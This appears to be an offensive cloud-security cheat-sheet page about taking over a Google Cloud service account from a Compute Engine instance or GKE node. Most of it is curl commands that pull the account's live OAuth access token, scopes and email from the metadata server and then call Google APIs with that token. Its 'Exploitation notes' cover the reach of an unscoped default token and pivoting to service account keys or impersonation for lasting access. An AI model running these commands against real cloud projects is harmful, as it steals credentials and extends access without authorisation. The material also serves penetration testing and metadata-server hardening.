On any Compute Engine instance or GKE node, the metadata server hands out the attached service account's live OAuth access token. Export it and you act as that service account for as long as the token is valid, with whatever roles it holds across the project.
Reading the token and scopes#
# the default (attached) service account
curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
# -> {"access_token":"ya29....","expires_in":3599,"token_type":"Bearer"}
# the granted scopes decide what the token can call
curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes'
# the account's email, and the full tree
curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email'
Using the token#
TOKEN=$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" \
'https://cloudresourcemanager.googleapis.com/v1/projects'
Exploitation notes#
- The scopes cap the token independently of IAM: a token scoped only to
cloud-platformis broad, but legacy scopes likedevstorage.read_onlylimit it regardless of the account's roles. Read the scopes first. - Default Compute Engine service accounts historically hold the broad Editor role on the project, so an unscoped token is often project-wide write.
- The token is short-lived (about an hour); for durable access pivot to service account keys or impersonation.
Tools#
- gcloud once the token is exported (
CLOUDSDK_AUTH_ACCESS_TOKEN). - curl against the metadata server and the Google APIs.